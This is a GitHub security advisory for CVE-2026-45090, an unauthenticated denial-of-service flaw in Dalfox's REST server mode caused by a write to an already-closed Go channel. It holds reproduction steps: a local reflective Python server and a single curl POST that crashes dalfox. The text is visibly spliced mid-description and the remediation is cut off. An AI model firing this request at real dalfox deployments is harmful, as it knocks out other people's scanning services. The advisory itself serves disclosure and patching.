GitHub Advisoryadvisory · Go

GHSA-2g4x-fq3j-cgq4 Dalfox has an Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode)

HIGH Published 2026-05-12 Modified 2026-06-08 Official page ↗
Aliases
CVE-2026-45090
Ecosystem
Go
Packages
github.com/hahwul/dalfox/v2, github.com/hahwul/dalfox
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-362, CWE-404
Reviewed
2026-05-12

Affected packages

• Go github.com/hahwul/dalfox/v2: < 2.13.0 → fixed in 2.13.0 • Go github.com/hahwul/dalfox: <= 1.2.2 (no fix yet)

Description

Summary `ParameterAnalysis` in `pkg/scanning/parameterAnalysis.go` runs two sequential worker stages that both write to the same `results` channel. The channel is correctly closed after the first stage completes (`close(results)` at line 438), but the second stage — which processes POST-body parameters (`dp`) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, `processParams` executes `results {v}'.encode() self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(out))) self.end_headers() self.wfile.write(out) def do_GET(self): self._h() def do_POST(self): self._h() def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18083), H).serve_forever() PY Step 2 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest Step 3 — Single unauthenticated request terminates the server process curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18083/?q=test", "options": { "data": "q=test", "mining-dict": true, "use-headless": false, "worker": 1 } }' Expected: dalfox process exits immediately with: goroutine N [running]: panic: send on closed channel pkg/scanning/parameterAnalysis.go:299 +0x... Step 4 — Verify server is down curl -s http://127.0.0.1:16664/health Expected: connection refused ``` No `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write. Impact • Complete server process crash on a single unauthenticated POST request — no login, no API key, no special permissions required. • All in-flight scans are lost without results. • The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop. • The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions. Recommended Remediation Option 1: Allocate a fres…

Related

Alias · CVE (1)

  • CVE-2026-45090 Dalfox is a powerful open-source XSS scanner and utility focused on automation. vulnerability

Weakness · CWE (2)

  • CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization weakness
  • CWE-404 Improper Resource Shutdown or Release weakness

References